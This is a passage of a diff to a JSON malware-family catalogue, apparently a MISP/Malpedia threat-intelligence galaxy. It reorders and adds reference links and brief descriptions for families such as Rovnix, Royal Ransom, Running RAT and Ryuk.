"http://www.kernelmode.info/forum/viewtopic.php?f=16&t=981", - "https://securelist.com/cybercriminals-switch-from-mbr-to-ntfs-2/29117/", - "https://www.welivesecurity.com/2012/07/13/rovnix-bootkit-framework-updated/", - "http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html", - "http://www.malwaretech.com/2014/05/rovnix-new-evolution.html", "https://securelist.com/oh-what-a-boot-iful-mornin/97365", + "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=981", + "http://www.malwaretech.com/2014/05/rovnix-new-evolution.html", + "http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html", + "https://www.welivesecurity.com/2012/07/13/rovnix-bootkit-framework-updated/", + "https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/", + "https://securelist.com/cybercriminals-switch-from-mbr-to-ntfs-2/29117/", + "https://news.drweb.ru/?i=1772&c=23&lng=ru&p=0", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", "https://blogs.technet.microsoft.com/mmpc/2014/05/04/the-evolution-of-rovnix-new-virtual-file-system-vfs/" ], @@ -40022,15 +42192,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "a4036a28-3d94-11e8-ad9f-97ada3c6d5fb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8d984309-b7fa-4ccf-a6b7-da17283aae2f", "value": "Rovnix" }, @@ -40040,22 +42201,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli", "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://www.secureworks.com/research/threat-profiles/bronze-palace", "https://github.com/nccgroup/Royal_APT", - "https://www.secureworks.com/research/threat-profiles/bronze-palace" + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "ac04d0b0-c6b5-4125-acd7-c58dfe7ad4cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "92d87656-5e5b-410c-bdb6-bf028324dc72", "value": "RoyalCli" }, @@ -40065,9 +42217,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns", "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://www.secureworks.com/research/threat-profiles/bronze-palace", "https://github.com/nccgroup/Royal_APT", - "https://www.secureworks.com/research/threat-profiles/bronze-palace" + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" ], "synonyms": [], "type": [] @@ -40075,14 +42227,49 @@ "uuid": "8611f656-b0d8-4d16-93f0-c699f2af9b7a", "value": "Royal DNS" }, + { + "description": "Ransomware", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_ransom", + "https://www.trellix.com/en-us/about/newsroom/stories/research/a-royal-analysis-of-royal-ransom.html", + "https://www.logpoint.com/en/blog/exploring-the-exploit-of-royal-ransomware/", + "https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html", + "https://yoroi.company/research/reconstructing-the-last-activities-of-royal-ransomware/", + "https://www.bleepingcomputer.com/news/security/new-royal-ransomware-emerges-in-multi-million-dollar-attacks/", + "https://www.microsoft.com/en-us/security/blog/2022/11/17/dev-0569-finds-new-ways-to-deliver-royal-ransomware-various-payloads/", + "https://www.cyber.gov.au/acsc/view-all-content/advisories/2023-01-acsc-ransomware-profile-royal", + "https://www.coalitioninc.com/blog/active-exploitation-firewalls", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://unit42.paloaltonetworks.com/royal-ransomware/", + "https://www.cyber.gov.au/about-us/advisories/2023-01-acsc-ransomware-profile-royal", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive", + "https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65", + "https://securityscorecard.pathfactory.com/research/the-royal-ransomware", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-royal-ransomware", + "https://www.trendmicro.com/en_us/research/22/l/conti-team-one-splinter-group-resurfaces-as-royal-ransomware-wit.html", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a", + "https://socradar.io/dark-web-profile-royal-ransomware/", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-royal-ransomware", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", + "https://www.cybereason.com/blog/royal-ransomware-analysis" + ], + "synonyms": [], + "type": [] + }, + "uuid": "df1baad8-e4b6-4507-964c-6e9a8dd5252c", + "value": "Royal Ransom (Windows)" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rozena", + "https://www.fortinet.com/blog/threat-research/follina-rozena-leveraging-discord-to-distribute-a-backdoor", "https://www.socinvestigation.com/threat-actors-delivers-new-rozena-backdoor-with-follina-bug-detection-response/", "https://www.gdatasoftware.com/blog/2019/07/35061-server-side-polymorphism-powershell-backdoors", - "https://www.fortinet.com/blog/threat-research/follina-rozena-leveraging-discord-to-distribute-a-backdoor", "https://www.gdatasoftware.com/blog/2018/06/30862-fileless-malware-rozena" ], "synonyms": [], @@ -40096,14 +42283,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm", - "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", - "https://www.youtube.com/watch?v=YXnNO3TipvM", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", "https://jonahacks.medium.com/malware-analysis-manual-unpacking-of-redaman-ec1782352cfb", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "http://www.peppermalware.com/2019/11/brief-analysis-of-redaman-banking.html", - "https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/" + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://www.youtube.com/watch?v=YXnNO3TipvM", + "https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/", + "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/" ], "synonyms": [ "Redaman" @@ -40113,13 +42300,28 @@ "uuid": "e6952b4d-e96d-4641-a88f-60074776d553", "value": "RTM" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm_locker", + "https://www.trellix.com/en-us/about/newsroom/stories/research/read-the-manual-locker-a-private-raas-provider.html" + ], + "synonyms": [ + "Read The Manual Locker" + ], + "type": [] + }, + "uuid": "b299d033-7772-44a6-a8e0-6b8c5f8af5c6", + "value": "RTM Locker" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtpos", - "https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf", - "http://reversing.fun/posts/2022/01/30/rtpos.html" + "http://reversing.fun/posts/2022/01/30/rtpos.html", + "https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf" ], "synonyms": [], "type": [] @@ -40137,15 +42339,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d70bd6a8-5fd4-42e8-8e39-fb18daeccdb2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b88b50c0-3db9-4b8f-8564-4f56f991bee2", "value": "Ruckguv" }, @@ -40162,25 +42355,28 @@ "value": "Rumish" }, { - "description": "", + "description": "NJCCIC characterizes RunningRAT as a remote access trojan (RAT) that operates using two DLL files. When the trojan is loaded onto a system, it executes the first DLL. This is used to disable anti-malware solutions, unpack and execute the main RAT DLL, and gain persistence. The trojan installs a Windows batch file dx.bat that attempts to kill the daumcleaner.exe task, a Korean security program. The file then attempts to remove itself. Once the second DLL is loaded into memory, the first DLL overwrites the IP address for the control server to change the address the trojan communicates with. The second DLL gathers information about the victim's system, including its operating system and driver and processor information. The RAT can log user keystrokes, copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and more. The second DLL also uses several anti-bugging techniques.", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + ], + "synonyms": [ + "running_rat" ], - "synonyms": [], "type": [] }, "uuid": "b746a645-5974-44db-a811-a024214b7fba", - "value": "running_rat" + "value": "Running RAT" }, { "description": "RURansom shows characteristics of typical ransomware, but despite its name, TrendMicro's assumptions after analysis showed that this malware is more a wiper than ransomware, because the irreversible destruction of encrypted files.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ruransom", + "https://blog.cyble.com/2022/03/11/new-wiper-malware-attacking-russia-deep-dive-into-ruransom-malware/", "https://www.trendmicro.com/en_us/research/22/c/new-ruransom-wiper-targets-russia.html", - "https://blogs.vmware.com/security/2022/04/ruransom-a-retaliatory-wiper.html", - "https://blog.cyble.com/2022/03/11/new-wiper-malware-attacking-russia-deep-dive-into-ruransom-malware/" + "https://blogs.vmware.com/security/2022/04/ruransom-a-retaliatory-wiper.html" ], "synonyms": [], "type": [] @@ -40208,16 +42404,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rustock", - "https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/chiang/chiang_html/index.html", + "https://darknetdiaries.com/episode/110/", "http://blog.threatexpert.com/2008/05/rustockc-unpacking-nested-doll.html", "https://krebsonsecurity.com/2011/03/microsoft-hunting-rustock-controllers/", "http://contagiodump.blogspot.com/2011/10/rustock-samples-and-analysis-links.html", + "https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/chiang/chiang_html/index.html", "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", - "https://darknetdiaries.com/episode/110/", - "http://www.drweb.com/upload/6c5e138f917290cb99224a8f8226354f_1210062403_DDOCUMENTSArticales_PRDrWEB_RustockC_eng.pdf", - "http://blog.novirusthanks.org/2008/11/i-wormnuwarw-rustocke-variant-analysis/", "https://www.secureworks.com/blog/research-21041", - "http://sunbeltsecurity.com/dl/Rootkit%20Installation%20and%20Obfuscation%20in%20Rustock.pdf" + "http://blog.novirusthanks.org/2008/11/i-wormnuwarw-rustocke-variant-analysis/", + "http://sunbeltsecurity.com/dl/Rootkit%20Installation%20and%20Obfuscation%20in%20Rustock.pdf", + "http://www.drweb.com/upload/6c5e138f917290cb99224a8f8226354f_1210062403_DDOCUMENTSArticales_PRDrWEB_RustockC_eng.pdf" ], "synonyms": [], "type": [] @@ -40230,169 +42426,170 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk", - "https://blog.emsisoft.com/en/35023/bug-in-latest-ryuk-decryptor-may-cause-data-loss/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption", - "https://community.riskiq.com/article/c88cf7e6", - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.advanced-intel.com/post/adversary-dossier-ryuk-ransomware-anatomy-of-an-attack-in-2021", - "https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", - "https://blog.talosintelligence.com/2020/06/CTIR-trends-q3-2020.html#more", - "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://twitter.com/SecurityJoes/status/1402603695578157057", - "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", - "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", - "https://www.heise.de/ct/artikel/Was-Emotet-anrichtet-und-welche-Lehren-die-Opfer-daraus-ziehen-4665958.html", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://github.com/scythe-io/community-threats/tree/master/Ryuk", + "https://www.domaintools.com/resources/blog/analyzing-network-infrastructure-as-composite-objects", "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", - "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", - "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/", - "https://www.crowdstrike.com/blog/wizard-spider-adds-new-feature-to-ryuk-ransomware/", - "https://www.scythe.io/library/threatthursday-ryuk", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit___John_Hammond_Huntress___Analyzing_Ryuk.pdf", - "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", - "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", - "https://www.advanced-intel.com/post/crime-laundering-primer-inside-ryuk-crime-crypto-ledger-risky-asian-crypto-traders", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", - "https://blog.cyberint.com/ryuk-crypto-ransomware", - "https://blog.malwarebytes.com/threat-spotlight/2019/12/threat-spotlight-the-curious-case-of-ryuk-ransomware/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://decrypt.co/15394/how-ransomware-exploded-in-the-age-of-btc", - "https://securityliterate.com/reversing-ryuk-a-technical-analysis-of-ryuk-ransomware/", - "https://n1ght-w0lf.github.io/malware%20analysis/ryuk-ransomware/", - "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", - "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", - "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-ryuk-ransomware-targeting-webservers.pdf", - "https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets", - "https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware", - "https://twitter.com/Prosegur/status/1199732264386596864", - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://threatpost.com/apt-exploits-zerologon-targets-japanese-companies/161383/", - "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", - "https://sites.temple.edu/care/ci-rw-attacks/", - "https://fourcore.io/blogs/ryuk-ransomware-simulation-mitre-ttp", - "https://threatconnect.com/blog/threatconnect-research-roundup-possible-ryuk-infrastructure/", - "https://labs.sentinelone.com/an-inside-look-at-how-ryuk-evolved-its-encryption-and-evasion-techniques/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://blogs.microsoft.com/on-the-issues/2022/04/13/zloader-botnet-disrupted-malware-ukraine/", "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets", + "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", + "https://unit42.paloaltonetworks.com/ryuk-ransomware/", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://edition.cnn.com/2020/10/28/politics/hospitals-targeted-ransomware-attacks/index.html", + "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-likely-behind-new-orleans-cyberattack/", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes", + "https://threatpost.com/apt-exploits-zerologon-targets-japanese-companies/161383/", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf", + "https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html", "https://blogs.quickheal.com/deep-dive-wakeup-lan-wol-implementation-ryuk/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.hhs.gov/sites/default/files/bazarloader.pdf", + "https://twitter.com/SophosLabs/status/1321844306970251265", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://labs.sentinelone.com/an-inside-look-at-how-ryuk-evolved-its-encryption-and-evasion-techniques/", + "https://www.scythe.io/library/threatthursday-ryuk", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.youtube.com/watch?v=Of_KjNG9DHc", + "https://community.riskiq.com/article/c88cf7e6", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://www.bleepingcomputer.com/news/security/french-it-giant-sopra-steria-hit-by-ryuk-ransomware/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/", "https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://blog.virustotal.com/2020/10/tracing-fresh-ryuk-campaigns-itw.html", + "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", + "https://news.sophos.com/en-us/2021/05/06/mtr-in-real-time-pirates-pave-way-for-ryuk-ransomware/", + "https://twitter.com/IntelAdvanced/status/1353546534676258816", + "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", + "https://www.secureworks.com/research/threat-profiles/gold-ulrick", + "https://arcticwolf.com/resources/blog/karakurt-web", + "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", + "https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html", + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-ryuk-ransomware-targeting-webservers.pdf", + "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "https://www.youtube.com/watch?v=HwfRxjV2wok", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", + "https://www.youtube.com/watch?v=BhjQ6zsCVSc", + "https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit___John_Hammond_Huntress___Analyzing_Ryuk.pdf", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://threatconnect.com/blog/threatconnect-research-roundup-ryuk-and-domains-spoofing-eset-and-microsoft/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://gist.github.com/aaronst/6aa7f61246f53a8dd4befea86e832456", + "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/", + "https://ia.acs.org.au/article/2019/hospital-cyberattack-could-have-been-avoided.html", + "https://0xchina.medium.com/malware-reverse-engineering-31039450af27", + "https://research.nccgroup.com/2021/03/04/deception-engineering-exploring-the-use-of-windows-service-canaries-against-ransomware/", + "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", + "https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://thedfirreport.com/2020/10/08/ryuks-return/", + "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", + "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://community.riskiq.com/article/0bcefe76", + "https://twitter.com/Prosegur/status/1199732264386596864", + "https://twitter.com/anthomsec/status/1321865315513520128", + "https://www.advanced-intel.com/post/adversary-dossier-ryuk-ransomware-anatomy-of-an-attack-in-2021", + "https://www.heise.de/ct/artikel/Was-Emotet-anrichtet-und-welche-Lehren-die-Opfer-daraus-ziehen-4665958.html", + "https://blog.cyberint.com/ryuk-crypto-ransomware", + "https://kc.mcafee.com/resources/sites/MCAFEE/content/live/CORP_KNOWLEDGEBASE/91000/KB91844/en_US/McAfee%20Labs%20Threat%20Advisory%20-%20Ransom-Ryukv6.pdf", + "https://www.youtube.com/watch?v=CgDtm05qApE", + "https://blog.emsisoft.com/en/35023/bug-in-latest-ryuk-decryptor-may-cause-data-loss/", + "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", + "https://www.splunk.com/en_us/blog/security/ryuk-and-splunk-detections.html", + "https://medium.com/ax1al/reversing-ryuk-eef8ffd55f12", + "https://www.carbonblack.com/blog/vmware-carbon-black-tau-ryuk-ransomware-technical-analysis/", + "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-attacked-epiq-global-via-trickbot-infection/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption", + "https://twitter.com/ffforward/status/1324281530026524672", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", + "https://www.bleepingcomputer.com/news/security/hacking-group-is-targeting-us-hospitals-with-ryuk-ransomware/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", + "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.youtube.com/watch?v=7xxRunBP5XA", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", + "https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/", + "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://n1ght-w0lf.github.io/malware%20analysis/ryuk-ransomware/", + "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", + "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", + "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://0xc0decafe.com/2020/12/28/never-upload-ransomware-samples-to-the-internet/", + "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "https://www.crowdstrike.com/blog/wizard-spider-adds-new-feature-to-ryuk-ransomware/", + "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.bleepingcomputer.com/news/security/steelcase-furniture-giant-hit-by-ryuk-ransomware-attack/", + "https://twitter.com/SecurityJoes/status/1402603695578157057", + 